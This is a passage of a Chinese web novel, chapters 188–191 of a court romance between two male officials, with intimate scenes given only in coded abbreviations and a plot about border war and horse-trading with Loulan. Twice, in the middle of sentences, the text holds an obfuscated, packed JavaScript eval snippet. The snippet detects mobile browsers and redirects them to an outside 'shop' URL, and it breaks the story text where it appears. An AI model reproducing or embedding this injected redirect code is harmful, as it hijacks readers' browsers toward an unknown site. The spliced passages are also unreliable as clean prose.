吏部尚书这话反倒勾起了礼部尚书满满的好奇心。 “不要不要,就现在!看一眼再睡,很快的!” “好。” 拗不过执拗撒娇的心上人,吏部尚书无奈妥协,转身取来那只精致的雕花木盒,稳稳递到他手中。 礼部尚书迫不及待掀开盒盖,低头望去,眼底盛满大大的疑惑。 一个温润细腻的白玉小罐,开盖透出淡淡的清雅香气,内里盛着满满一罐晶莹剔透的膏体。 一侧摆放着一个小巧木匣,凑近能闻见淡淡的药香。 下方铺着一串圆润莹润的珍珠链子。 怎么还有发带? 发带上还有铃铛。 礼部尚书拿着发带晃了晃,细碎铃铛发出清脆叮咚声响,满脸茫然又好笑:“这都是些什么稀奇古怪的东西?燕大人怕不是拿错礼盒了?我们两个大男人,谁会戴珍珠链子啊?我找他去。” 吏部尚书伸手将他圈入怀中,低沉温柔的嗓音在他耳畔轻轻响起:“应该没有拿错,我知道该如何用,逸风弟弟要试试么?” 礼部尚书心头一动,好奇心拉满,仰着因醉酒而通红的脸,懵懂追问:“怎么试呀?” 吏部尚书眸底温柔渐褪,染上深沉的缱绻暗芒,抬手轻轻放下垂落的精致床幔。 他俯身贴近,嗓音低沉沙哑,温柔又缱绻:“我慢慢教你。” 发带放在小小风上,吏部尚书的__在礼部尚书的**FL,从背后F着礼部尚书的T向上 铃铛响彻整个房间 …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 189. 拍马屁拍到马蹄子了 天刚蒙蒙亮,天边只浮着一层浅浅的鱼肚白,晨露凝在窗棂将整座院落衬得静谧微凉。 往日里总要赖片刻床的燕修延,今日却是醒得极早。 几乎是更鼓落定的刹那,他睫羽一颤,漆黑的眼眸睁开,清明得不见半分睡意。 腰间缠着的温热手臂紧实有力,谢伟恒睡得安稳,呼吸匀净绵长,整个人半覆着他,将他牢牢圈在怀里。 燕修延下手干脆利落,腕间微微一挣,毫不留情地反手轻轻一推。 “咚”的一声轻响,谢伟恒闷哼一声,顺势倒回柔软的锦被里。 燕修延利落翻身下床,足尖点过微凉的地板,抬手拾起衣架上的衣服:“赶紧起来啊,迟了我可不等你。” 谢伟恒睁开眼,漆黑的眸子还凝着未褪的慵懒,长发散落在枕上,衬得眉眼温润如玉。 他靠着床头坐起:“修延,过来下。” “嗯?” 燕修延手里拎着外袍,转过身,眉梢轻挑,眼底漾着惯有的狡黠笑意:“怎么,非要我亲你一下才肯舍得起身?” 说着,他已然迈步走近,微微俯身对着谢伟恒温润的脸颊不轻不重地啃了一口。 “好了,起来吧。” “不是。” 谢伟恒轻轻摇头,深邃的目光牢牢锁在他身上,视线下移落在他光洁的脊背之上。 他修长的手指轻轻勾住燕修延宽松里衣的系带,指尖轻轻一捻。 “你方才穿衣时,我看见你的后背……” 后背? 燕修延下意识偏过头,视线往后扫了一圈什么也看不见。 他干脆抬手解开腰间的里衣带,背过身去:“怎么了?是有蚊子咬的包?昨夜蚊子挺多的。” 话音刚落,一双温热有力的手臂伸出,将他整个人牢牢揽回怀中。 谢伟恒将人圈在怀里,头颅微埋,温热的呼吸拂过燕修延的后颈,随即落下轻柔的吻。 从后颈一路缓缓往下,掠过脊背线条,最终停在蝴蝶骨处。 耳畔落下低沉温柔的轻笑:“没有蚊子包,只有我咬的。” “谢大蚊子,你可真够无聊的。” 燕修延抬手精准拎起胸前肆意游走的手,放到一边。 他正要挣开怀抱起身,腰间骤然一紧。 谢伟恒微微发力,直接将人反手按回柔软的床榻。 高大的身影覆下,将燕修延牢牢笼罩在方寸之间,眼底盛满浓得化不开的温柔与缱绻。 “离早朝还有些时辰,那就做些不无聊的。” 话完,他俯身低头温柔的吻落下,精准封住了燕修延所有未出口的异议。 被谢伟恒这么一打岔,两人整理妥当抵达宫门时,只稀稀拉拉来了几个人。 燕修延斜斜睨着谢伟恒。 谢伟恒执过他的手腕,眉眼温润,笑意浅浅,语气从容坦然:“我说过,时辰尚早,定然不会迟的。” 燕修延抿抿唇,懒得与他争辩,抽回被他握着的手,双臂环胸,轻轻靠在谢伟恒的肩头,闭着眼假寐。 听到有人跟礼部尚书打招呼,燕修延睫羽一颤,瞬间褪去所有慵懒睡意,精神十足地睁开眼。 他朝着不远处走来的礼部尚书轻快抬爪子:“呦,宁大人~” 燕修延一眼就看出来礼部尚书走路姿势不是很自然,看不出来啊,端方刻板的漠大人倒是这般会折腾,着实厉害啊~ 礼部尚书看见燕修延,脸上原本温和平正的笑容一僵,眉眼间染上几分羞恼,气哼哼的别过头去。 呦,气性不小。 看样子漠大人是深耕细作啦。 “燕大人、谢大人,清晨安好。” 吏部尚书笑着缓步走来跟两人打招呼。 礼部尚书只对着谢伟恒颔首示意,眼神扫过燕修延,狠狠瞪了他一眼,腮帮子微微鼓起,用力憋出一声重重的冷哼。 燕修延看得乐不可支,嘴角笑意张扬直白:“啧啧,气性不小啊,看样子度过了一个格外愉快的洞房花烛夜啊。” 他不提还好,一提礼部尚书耳根瞬间爆红,脸颊以肉眼可见的速度涨得通红,从脸颊红到脖颈。 “你!你你你你你!” 燕修延笑的愈发肆意,长臂一伸勾住谢伟恒的脖颈,微微踮脚,在他的侧脸不轻不重地咬了一口,随即挑眉回望礼部尚书:“我什么?” 礼部尚书半天憋不出一句完整的话:“不跟你玩了!” “别啊。” 燕修延眉眼弯弯,语气暧昧又促狭,慢悠悠补了一句,“我懂,如今在你眼里只肯跟漠大人玩。” 眼看着礼部尚书就要炸毛,礼部尚书无奈轻笑,连忙上前一步,伸手揽住自家尚书的肩,半哄半拽地将人拉到一旁,压低声音:“我猜燕大人其实是……” 他指尖悄悄往下指了指。 礼部尚书一呆,都忘了生气下意识顺着他的手势低头看去:“啊?” 不像啊。 他回过头,正好看见谢伟恒似乎是在燕修恒的腰侧掐了一下。 嗯?! 回想下,谢伟恒好像总爱虚虚扶着燕修延的腰,时时护在他身侧。 哦~ 礼部尚书脸上的羞恼散尽,取而代之的是一抹促狭的笑意。 他走过去,抬手轻轻拍了拍燕修延的肩膀。 恰在此时,厚重的宫门缓缓开启,晨光穿门而入,铺出一地金辉。 礼部尚书笑眯眯的对着谢伟恒点点头,随即步履轻快、身姿从容地顺着宫门走入大殿。 燕修延:? 他茫然眨眨眼,转头看向谢伟恒,眉头微蹙:“宁大人什么意思?突然笑成这样,奇奇怪怪的。” 谢伟恒大约猜到了礼部尚书的意思,他含糊其辞:“应该是被漠大人哄好了。” 燕修延当然知道是哄好了,他是好奇到底怎么哄的。 礼部尚书看他的眼神,很欠揍,摆明是知晓了什么隐秘。 等着下朝了,好好诈一诈礼部尚书,看看能不能诈出点什么来。 朝会临近尾声,一道八百里加急战报送入殿中,打破了满堂沉静。 乌孙国大约一千多骑兵偷袭边境,所幸边关将士常备不懈、警戒森严,第一时间察觉敌军异动,迅速列阵迎敌、奋勇反击。 成功击退敌人,斩杀敌寇一百二十三人,生擒俘虏六十六人,边关暂无隐患,局势安稳。 乌孙现任国王是羯国的走狗,他们无端前来边境骚扰,说明羯国已然彻底落入燕修延布下的算计之中。 燕修延眼角余光扫过队列中位的李想。 李想垂首敛目,看似与其他朝臣一般无二、神色恭谨,可垂在身侧的手掌微微蜷缩,唇角在无人留意的阴影里,勾起一抹阴冷诡异的弧度。 不少急于奉承的朝臣已然纷纷出列,口中堆砌着漫天华丽辞藻,尽数将此番边关大捷的功劳归于上座的虞睿祥。 虞睿祥垂眸看着手中的战报,俊美肃穆的面容上无半分喜色,眉眼沉沉,辨不清喜怒。 他缓缓抬眼,眸光清冷,语气平淡却带着无形威压:“卿不夸前线将领调度有方、不夸边关士卒舍生忘死、勇猛杀敌,夸到远在京城的朕头上来了。” 燕修延垂眸掩去眼底幸灾乐祸的笑意,这群老油条,今日算是拍马屁拍到马蹄子上了,活该。 大臣脸色发白,俯身垂首,惶恐伏地,大气不敢出:“臣……臣失言!” “退朝!” 虞睿祥不愿多言,淡淡落下两个字,起身拂袖,转身便离开了。 百官纷纷起身躬身行礼,待皇帝身影远去才敢直起身来,两两低语散去。 苏公公小步跑过来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646347|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “燕大人,陛下有请。” 燕修延毫不犹豫,反手牵住谢伟恒的手,十指相扣将人一并带上。 苏公公余光瞥见两人相握的手,早已见怪不怪,神色分毫未变,不曾多言半句。 宫里现在无人不知晓燕大人与谢大人总是黏在一块。 陛下都不说话,他们自然不会多言。 御书房里静谧无声,檀香袅袅,冲淡了朝堂的肃穆,多了几分沉静。 虞睿祥负手立在窗前,望着窗外的沉沉绿意:“楼兰承诺的战马,已经入关了。” 燕修延有些意外,挑眉轻笑:“倒是比预计的要早上不少啊!看来咱们这雷火炮诱惑力确实足够惊人。” 其实雷火炮的诱惑不过是锦上添花。 真正逼得楼兰主动提前履约的,是燕修延派人去散布的谣言。 楼兰国王听到车师国要与大虞达成永久通商盟约,然后快速积累财富、招兵买马,休整兵马之后出兵吞并楼兰、扩张疆土。 顿时便有些着急了。 加上见识过雷火炮“威力”的使臣们日夜在国王耳边劝谏游说,楼兰国王彻底沉不住气,匆匆敲定盟约,提前押送战马入关。 不过他留了个心眼,既然雷火炮的炮弹制作繁琐、耗材昂贵、难以量产,一旦雷火弹存量耗尽,后续该怎么办。 所以他这次让国师带了两千匹战马。 对大虞的说辞,只道路途遥远、艰险难行,带太多的马,长途转运损耗极大,实属无奈。 希望可以用没给出的两千匹战马,再谈些好处。 比如大虞优质的农耕粮种,比如熟练的农耕农人,比如会制作雷火弹的匠人。 之前国师带回的改良粮种,在楼兰境内落地播种后,长势喜人,始终只长茎叶、不开花、不结果,怪异异常,无人能解缘由。 虞睿祥静静看着燕修延,眼底带着几分默许与等待,不曾插话 转瞬到了楼兰使团入京之日。 宴席上,虞睿祥目光淡淡扫过,使臣团里的人皆是此前入京见过的熟面孔。 国师双手端起盛满酒水的酒杯,起身垂首,对着上座的虞睿祥恭敬行礼:“尊贵的皇帝陛下,阿赫连漠他回国后突发恶疾去见了真神,无缘再至御前请罪谢恩,还望陛下恕罪。” 虞睿祥神色平静,只淡淡颔首,不置可否,面上无半分波澜,既无诧异亦无惋惜。 国师垂首躬身,自入席,皇帝绝口不提战马履约之事,亦不谈及雷火炮,态度冷淡疏离,让人心中有些拿不准。 今天的宴会除却楼兰使团,仅有燕修延、谢伟恒等寥寥几位大臣陪同。 国师频频抬眼窥探上座帝王神色,几番欲言又止,始终拿捏不准开口时机,不知该如何主动讨要筹码。 “陛下。” 燕修延指尖漫不经心地把玩着手中白玉酒杯,撩起眼皮,漆黑的眸子扫向对面端坐的楼兰使团,带着毫不掩饰的审视与不善开口:“臣听闻楼兰这次入京仅仅只带了两千匹战马?” 国师心头一紧,收敛心神快步上前,躬身急声解释:“皇帝陛下,绝非我楼兰失信!实在是路途艰险、风沙肆虐,长途转运四千战马损耗极大、难以周全!先行送来三千匹,剩余两千,我楼兰定然尽数补齐,五千战马分毫不少,绝不食言!” 说完,他抬眼匆匆望向上座虞睿祥,神色恳切,话锋一转,语气带着几分讨好的恳切,继续抛出己方诉求:“我们国王陛下诚心想和大虞结为世代友邦,学习贵国的精妙农耕之术……” “嘁!” 燕修延嗤笑一声,带着直白的嘲讽,生生打断了国师的说辞:“陛下,他们的意思是,用三千匹战马换咱们五门雷火炮,充实军备、震慑周边。剩下两千匹战马是拿来做敲门砖,换取咱们的农耕良种、熟练农人——哦,顺带还要赎回他们的大王子。” 190. 准备亲赴边关 虞睿祥指尖轻搭鎏金扶手,神色清淡无波,唇线平缓吐出一句定论,嗓音带着帝王独有的沉敛威严:“楼兰的要求并不过分,修延不必放在心上。” 话音落地,国师肩头微松,悬在半空的一颗心彻底落回原处。 他垂在身侧的手指悄然舒展,暗自松了口浊气。 还好,大虞皇帝的目的在于楼兰手中的千里良驹,其余旁枝末节不多追究。 不过被这么一打断,国师再想要提希望大虞派遣精通雷火炮锻造之术的匠人随使团远赴楼兰,传授核心技艺的话,就难了。 虞睿祥微微抬手示意,一袭纤巧水袖罗裙,步履轻盈如踏流云,袅袅婷婷落于大殿正中央。 旋身、抬臂、折腰,曼妙舞姿随婉转乐声舒展,层层叠叠的裙摆翻飞如盛放繁花,彻底掩去了此前谈判的硝烟味。 国师垂眸凝思,眼底飞速盘算着说辞与时机。 其余使臣按捺不住,频频侧首,借着舞姬遮挡众人视线的间隙,暗暗朝他递去急切眼色,眉眼间满是催促。 众人心思如出一辙:雷火炮乃是镇场利器,只得器物不得技法终究是治标不治本。 国师决定待皇帝正式赠予雷火炮之时,再顺势恳请。 他压下众人的躁动,以眼神示意稍安勿躁。 眼下接二连三的讨要好处,恐怕会让大虞皇帝心中不快——尤其是惹得燕修延不快,这位监察司正使似乎对楼兰心存深重成见,时不时当着他们的面在皇帝身旁上眼药,字字句句都在消解他们的诉求。 之后,虞睿祥命人寻来“良种”以及五名“农学博士”。 同时把五门形制精良、炮身漆黑泛着冷光的雷火炮和穿着黄符缝制衣袍、神色呆滞温顺的大王子往楼兰使团一塞。 这般安排,已是再明确不过的逐客令。 良种、农学人才、雷火炮、大王子一应齐备,大虞态度直白:交易已成,楼兰使团可以回去了。 国师没见到皇帝,快步拦住奉命传旨的苏公公,躬身恳切道:“劳烦公公通禀皇帝陛下,我尚有要事恳请面圣陈情。” 苏公公脸上挂着得体温和的浅笑,礼数周全却寸步不让,柔声传话:“国师不必多请,陛下已有口谕,雷火炮弹药、锻造匠人一应物资人手,待楼兰剩余战马尽数押送抵京、交割无误后,自会随后续使团一同送往楼兰。” 寥寥数语,堵死了国师所有退路。 国师只好作罢,大虞的意思很明确了。 能给的他们自然会给,但马一匹都不能少。 眼下赠予的五门雷火炮,是空有其形、无弹可用的废器,若无专属弹药与匠人修缮锻造,带回楼兰也只是摆设。 心中万般算计落空,国师也只能强行压下遗憾。 好在这次远行并非一无所获,优质粮种与精通农耕的博士乃是实打实的裨益,足以改善楼兰贫瘠的农桑根基,也算不虚此行。 心绪落定,国师才有闲暇细细打量久未相见的大王子。 胖了,白了,褪去戾气,一双眸子澄澈干净近乎懵懂呆滞,再无半分野心锋芒。 国师心生疑惑,上前低声问询,才得知其中缘由。 大虞国师天天对着被软禁的大王子诵读清心真经。 他听的现在都能将经文倒背如流了。 整天在屋子里,不得外出、不得干预外事,晨起听经、饭后休憩、入夜安睡,日日闲散无争,硬生生被养得心性纯静、体态丰盈。 国师看着眼前温顺无害的大王子,心底竟生出几分欣慰。 这般磨去戾气、沉淀心性也好,此番磨难于他而言未必是坏事。 待其归国,沉下心性,踏踏实实学习治国理政,日后未必不能成为一位沉稳守成的楼兰君主。 皇帝也没说要国师留在大虞,国师便不再多做逗留,整顿行装,率众楼兰使臣随队伍一同返程归国。 楼兰随行而来的马倌尽数被留在大虞京城养马。他们送来的千里良驹源源不断送入大虞边关,充实边防军备。 京城风波暂歇,边关风雨将起。 燕修延立于窗前,望着天际沉沉翻涌的乌云,心底思绪沉沉。 他也要准备准备亲赴边关了。 这一趟非是寻常巡查,而是他筹谋已久的关键棋局。 唯有他亲临前线,坐镇边关战事,才能引出李想及其背后潜藏的势力,撕开层层伪装将所有隐患彻底揪出。 棋局铺就,步步皆需走稳,可心底深处却翻涌着难以压制的不舍。 他舍得了朝堂权柄、舍得了京城安稳,唯独舍不得身边朝夕相伴的谢伟恒。 近日边关军报频传,字字紧急。 冯家军驻守的边境要塞屡次遭到敌人骑兵滋扰偷袭,边境烽火渐燃,局势日渐紧张。 算算时间,大约那封暗中寄出的密信此刻应当已送达羯人首领手中。 只待时机成熟,便可借外敌之手,搅动全局。 窗外天色彻底暗沉下来,铅灰色乌云层层堆叠,压低了整片天际。 狂风卷着沉闷气流掠过庭院,转瞬之间,惊雷炸响,轰隆隆的震鸣穿透殿宇,刺耳回荡。 银白闪电撕裂漆黑天幕,转瞬又隐入沉沉夜色。 暴雨毫无征兆地倾泻而下,滂沱雨势冲刷着庭院花木,池塘中层层叠叠的浮萍被狂风骤雨打得起伏飘摇,浮浮沉沉,全无定踪。 燕修延眉心紧紧蹙起,抬手微微拽住谢伟恒的青丝,力道轻柔,他选择隐瞒计谋:“我又不是去边关就不回来了——你别多想。” 话音落,他微微弓起脊背,用力收紧手臂,将身前之人紧紧拥入怀中,仿佛要将这短暂的温存牢牢攥住,抵御日后别离的漫长思念。 谢伟恒不言不语,只是温柔垂首,细碎的吻逐一落上燕修延的眉眼、脸颊,带着极致的珍视与眷恋。 又一道刺眼闪电划破夜幕。 谢伟恒的__在燕修延的**SJD,随着谢伟恒的DZYJYC,YT从燕修延的__LC …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) “滴答、滴答、滴答……” 下了一夜的暴雨稍歇,屋檐积水顺着青瓦纹路缓缓坠落,节奏缓慢悠长。 燕修延浑身慵懒无力,四肢绵软地趴在锦枕之上,长发散乱铺于枕间,连抬眼的力气都无。 他嗓音带着沙哑,闷闷开口:“吃错药了你?” 昨夜风雨缠绵,情浓至极,谢伟恒似是被别离的惶恐裹挟,执拗又滚烫,近乎偏执地贪恋着燕修延的温度与气息。 那浓烈的占有欲,让燕修延真切生出一种快摇被人拆吞入腹的错觉。 谢伟恒指尖带着微凉的药膏,正细细替燕修延擦拭涂抹,听见耳畔嗔怨,他动作微顿,低声轻叹:“是我太过了,还好,伤的不厉害。” “……呦,合着谢书令还知道自己太过了啊。” 燕修延眼皮沉重得快要黏在一起,困意翻涌,忍不住打了个绵长的哈欠,脸颊蹭了蹭柔软锦枕,带着浓浓的倦意:“从知道我要离京去边关,你就跟疯了似的。这两日我都没怎么见过天光……” 谢伟恒将盛药膏的盒子轻轻合上,妥帖收进床头暗格之中,随即侧身躺卧,温柔贴近燕修延身侧。 他微微屈起食指,指腹轻轻摩挲过燕修延温热的脸颊,触感细腻温软,眼底盛着化不开的温柔与沉沉忧虑。 低低轻叹一声,嗓音温柔又带着难以掩饰的怯懦:“不知怎么的,一想到你要远赴边关,要去面对前路全然未知的凶险、刀枪无眼的战场,我就私心作祟,想把你关起来,留在京城、留在我身边……” 成亲前,谢伟恒一步一步的谋划,他想的很好,做好燕修延最稳固、最坚实的后盾,为他扫清朝堂所有阻碍,护他毫无后顾之忧,奔赴疆场、建功立业、肆意冲锋。 可当这一日真正临近,当别离与凶险近在眼前,他所有的沉稳理智尽数崩塌。 运筹帷幄的谋士,唯独在关乎燕修延安危这件事上,胆怯得一败涂地。 睡意席卷而来,燕修延迷迷糊糊靠在他怀中,温热的呼吸洒在衣襟之上。 朦胧睡意里,只觉脸颊发痒,他不耐地皱起眉头,下意识往谢伟恒温暖的怀抱深处蹭了蹭,蜷缩起身子,呢喃出声,语气带着浓浓的怨气。 “谢伟恒……王八犊子……坏得很……” 听见怀里人带着怨气的低喃,谢伟恒低头望着怀中熟睡的人,眼底瞬间漾开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646348|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅浅笑意。 “嗯,我最坏。” 日头渐高,天光彻底大亮,早已过了早朝时辰。 燕修延悠悠转醒,睫羽轻颤,缓缓睁开惺忪睡眼。 周身暖意融融,被人牢牢护在怀中,安稳又踏实。 他抬手,指尖慵懒地挠了挠谢伟恒的下颌线,嗓音带着初醒的慵懒:“今日早朝咱们两个都缺席啦。” 谢伟恒垂眸望着他,眉眼温柔含笑,语气笃定安稳:“无妨,陛下通透不会追究的。” 燕修延嘴角微微一抽,瞬间脑补出画面。 估计虞睿祥用脚趾头都能猜到,他们二人为何双双缺席早朝。 “回头进宫见了陛下,他定然又要拿我打趣。” 谢伟恒握住燕修延的手,将其紧紧贴在自己的胸口,掌心滚烫暖意绵长,低笑出声:“无妨,陛下若是打趣,我们就去他的私库转转,权当讨些补偿。” 这话正中燕修延下怀,他眉眼弯弯,咧嘴露出狡黠笑意:“好主意。” 两人在家休整歇息一天,褪去满身疲惫,整理衣冠,联袂入宫面见陛下。 殿外苏公公候着,见二人前来,即刻快步入内通传。 “陛下,燕大人、谢书令求见。” 御案之后,虞睿祥正垂眸批阅堆积如山的奏折,墨笔行云流水,闻言微微抬手,放下朱笔,淡淡出声:“宣。” 视线慢悠悠在并肩而入的两人身上缓缓绕了一圈,虞睿祥漾开揶揄笑意,语气带着几分熟稔的打趣:“伟恒今日倒是舍得放你出来了?” 燕修延步履轻快,径直落座于侧首椅上,故作一脸无奈,长叹出声,演技十足:“他哪里舍得啊,是我念着陛下日理万机、许久未见,再三央求,他才勉强松口允我进宫哒。” 虞睿祥眼皮轻轻一跳,昨日他右眼皮连跳数次,心绪不宁。 这鬼精灵又要盯上他的私库,变着法子想要讨赏赐啦! 不等他开口,谢伟恒已然垂眸开口,语气沉稳郑重:“修延此番远赴边关,战事难料,不知何时能归。” 虞睿祥听懂了他的意思,干脆利落、毫不拖沓:“朕前些日子刚得了一只罕见的鎏金寿龟,品相极佳。” 燕修延眼眸立马一亮,抬眸直直看向御座上的陛下,眼底精光闪闪,欢喜毫不掩饰。 虞睿祥看着他这副直白贪财、见宝心动的模样,心底暗自腹诽:果然如此。 他扪心自问,大虞也不是没有能征善战的名将,燕修延此番奔赴边关是为了挣军功,什么结果都还没见着呢,为什么要赏? 转念一想,他无奈失笑——没什么好想的,给便给吧。 如果燕修延此番边关之行毫无建树、无功而返,日后他定然脸皮发烫,不好意思再频频来讨要私库珍宝了吧。 如果本事依旧,能平定边患、再立奇功——那就继续赏呗,还能怎么滴? 毕竟二人从小就是两小无猜的。 用燕修延以前说过的话,那就是青梅竹马,过命的交情,君臣相伴、彼此扶持。 这命挺值钱的哈,他的私库俨然成了养着这小狐狸的无底洞。 虞睿祥无奈抬手按了按发胀的额角,语气带着几分纵容的无奈:“你今日来就是为了这个事吧,行了,朕知晓了,陪你们去私库拿。” 燕修延搓了搓手心,眉眼弯弯,格外贴心懂事:“不必劳烦陛下奔波,我与伟恒自行前去拿就行。” “朕若是不去……” 虞睿祥抬手点点他,一眼看穿其小心思:“你能直接把朕的私库搬空。” 燕修延露出一脸受伤委屈的神情,睁着澄澈的眼眸,故作纯真无辜:“陛下怎能这般想我?我明明不是这般贪心之人!” 虞睿祥毫不留情:“你就是!” 被当场拆穿,燕修延半点不慌,反而眉眼流转,带着几分娇俏戏谑,轻声笑道:“哎呦,陛下可真是太了解人家啦,小心伟恒吃醋。” 谢伟恒顺势垂眸,淡淡接话,语气带着几分真实的酸涩:“已经吃了。” 虞睿祥:“……” —————————————— 注: 古代有“博士”一词,有多种含义和用途,可用来指称专精某一种职业的人 191. 真正亲赴边关 殿内戏谑渐歇,虞睿祥收了玩笑神色,抬眸看向二人,沉声敲定行程:“修延,三日后动身,你看如何?” 燕修延眉眼轻快,毫无半分奔赴沙场的忐忑,干脆利落颔首应下:“没问题,悉听陛下安排。” 虞睿祥目光微侧落至谢伟恒身上,语气带着几分提点:“三日后远赴边关,路途全靠策马奔波,风餐露宿、颠簸劳顿,必然辛苦万分。” 燕修延眼眸瞬间亮了几分,眼底狡黠藏都藏不住,顺势接话:“所以陛下这是心疼我,打算再添些赏赐?” 虞睿祥看着他一副见宝眼开的模样,嘴角狠狠一抽,扯出一抹无奈的弧度:“朕是叮嘱伟恒这几晚安分些,让你好好歇息、养足精神,免得三日后上路身子酸软,受不住骑马的颠簸之苦,非要朕说得这般直白?” 燕修延抬手挠挠脸,故作若无其事地抬眼望向殿顶横梁。 目光随意一扫,恰好撞见一道藏在梁木阴影里的身影。 那是宫中奉命值守的暗卫,本该隐匿身形、暗中护驾,此刻却正大光明趴在横梁之上,支着脑袋偷偷看戏。 暗卫脸上挂上一抹尴尬的笑,手脚麻利地蜷缩身形,飞快挪到燕修延看不到的角落里去。 燕修延转头看向谢伟恒:你看,我就说陛下肯定要拿这事打趣,这下好了。 谢伟恒垂眸望着他,唇角勾起一抹温柔又纵容的笑意:“我以为陛下体恤修延路途辛苦,至少会准修延休息五日。” 虞睿祥似笑非笑,目光扫过二人:“五日复五日,五日何其多?再多纵容怕是边关战事都要尘埃落定了,你二人还流连京城温存。” 谢伟恒微微敛下眉眼,故作委屈的模样:“我没想到陛下是这般看待我的。” “陛下你看!” 燕修延立刻起哄,眉眼弯弯,一副看热闹不嫌事大的模样:“伟恒真的伤心了,委屈大着呢。” 虞睿祥被这一唱一和的两人闹得太阳穴突突直跳:“……行了行了,别在朕跟前演戏,现在就去私库挑东西,拿完立刻出宫,看见你们两个就头疼。” 燕修延眨巴眨巴一双清亮的眼眸,故作乖巧诚恳,抬眸问道:“陛下,我这可是头一回出这么大的远门。” 虞睿祥一眼看穿他的小心思,毫不留情当场戳穿:“小时候朕和你四处游历,天南地北都走遍了,何来头一回远门之说?” 不等燕修延辩解,谢伟恒适时开口,嗓音温和的精准补刀:“是与我成亲之后,头一次离京远行。” “……” 虞睿祥糟心的明白了这两人的套路,一个会闹、一个会捧,联手就是为了多讨要宝贝。 他只能暗自咬牙,妥协退让,语气带着几分无奈的郑重叮嘱:“一会准你多挑两件宝贝,高高兴兴去边关建功,务必平平安安、完好无损的回来见朕。” “燕修延遵旨!谢主隆恩,陛下万岁万岁万万岁!” 燕修延立刻眉眼大亮,躬身利落行礼应答。 他没有用“微臣”二字,所以这就不算是他许下生死军令。 虞睿祥按按额角,恨不得一脚把这油嘴滑舌的燕修延直接踹去边关,省得日日在跟前聒噪,闹得他不得安宁。 私库里,燕修延与谢伟恒并肩俯身,两颗脑袋凑在一起,低声细细挑选,时不时小声商议,默契十足。 虞睿祥站在不远处看着,心头没来由的想,燕修延远赴边关,来日漫漫归期未定。 以谢伟恒的性子,定然会日日惦记、时时挂念。 往后怕是会借着各种由头,有事无事都来私库搜罗珍宝,哪怕没有缘由也会自己创造缘由。 日复一日攒下一库房的稀世宝贝,尽数留着,只等燕修延归来,一一送到他面前博他欢心。 那等燕修延从边关归来还得了?! 一念及此,虞睿祥额头又突突直跳。 燕修延余光瞥见帝王一脸神色凝重、面露愁苦的模样,悄悄用肩膀撞了撞谢伟恒,示意他回头看:陛下的表情好狰狞。 谢伟恒趁他分心的空档,指尖飞快一勾,顺势拿起一串珠串。 谁知动作刚落,回头的燕修延恰好尽收眼底,当即两眼一瞪,微微龇牙:放下!给我把这玩意放回去! 谢伟恒眼底掠过一丝遗憾,只能乖乖将珠串归回原位,一副温顺听话的模样。 燕修延咬牙,果然是狼子野心,一刻都不消停! 最终,燕修延挑完了还不忘顺手捎上几个精致华美的锦盒。 抱着盒子欢欢喜喜跟着谢伟恒出宫。 虞睿祥深吸一口气,强行压下心头的郁结,缓缓平复心绪,自我宽慰打气。 不气不气,无妨。 至少燕修延贪的从来都是他私库里的东西,从未惦记到黎民百姓头上。 以后大虞铁骑踏平羯国,边关平定,羯国抢来的奇珍异宝尽数都是他的了——到他手上可能就是燕修延挑剩下的了…… 虞睿祥长叹一声,整理好神色转身奔赴慈宁宫。 接下来就要直面自己母后滔天的怒火了。 “砰!” 一声刺耳的碎裂,是青瓷茶壶和地面亲密接触的声音。 虞睿祥刚踏入慈宁宫殿门,迎面便是太后盛怒的斥责:“你给我滚出去!我没有你这个儿子!我跟你说过没?我说不要让他奔赴边关、踏上战场,你是半个字都没有听进去!” 怀有身孕的沈黎卿被这动静惊得微微蹙眉,叶凤连忙搀扶住她。 二人齐齐屈膝跪地,温声劝解:“母后息怒,万万保重凤体。” “此事与你二人无关,都起来吧。” 太后怒气未消,摆摆手示意二人起身,目光死死盯着步入殿中的虞睿祥,眼底怒火难平。 虞睿祥神色无奈,抬脚小心翼翼跨过满地碎瓷,缓步上前,伸手欲搀扶太后落座。 太后一把甩开他的手,侧过身子拒不看他,余怒难歇。 “母后消消气,切莫气坏了玉体。” 虞睿祥温声软语安抚,极尽耐心:“您若是气出个好歹,来日修延归来定然要日日缠着儿臣闹腾,到时候儿臣可招架不住。” 沈黎卿也适时柔声附和,顺着话语宽慰:“陛下所言极是,母后千万珍重身子。您若是卧病,修延归来定然要在您床前掉金豆豆。” …… “还能快活自在三天,难得清闲。” 燕修延将满满一怀的珍宝锦盒妥善收好,抛着钥匙玩。 “去边关我不准备带大白,你在家无事记得日日帮我训它,切莫偷懒。” 谢伟恒笑着应下:“好,我记下了。肯定日日悉心调教,替你训出一只威风凛凛、震慑四方的狮将。” 燕修延接住钥匙,抬眸挑眉看向谢伟恒,眼底带着几分警告:“这三天你给我老实安分些,若是做不到我去找柳岚要点药,帮你做到。” “修延倒是把我想得太过急色了。” 谢伟恒抬手揽住燕修延的腰,将人轻轻带入怀中,唇角勾着温润笑意:“我会好好等你回来。” 燕修延脸上的笑意消失,心中暗藏的事情皆未告知谢伟恒。 待一切尘埃落定,以谢伟恒的性子,他往后的日子怕是要暗无天日,难逃追责。 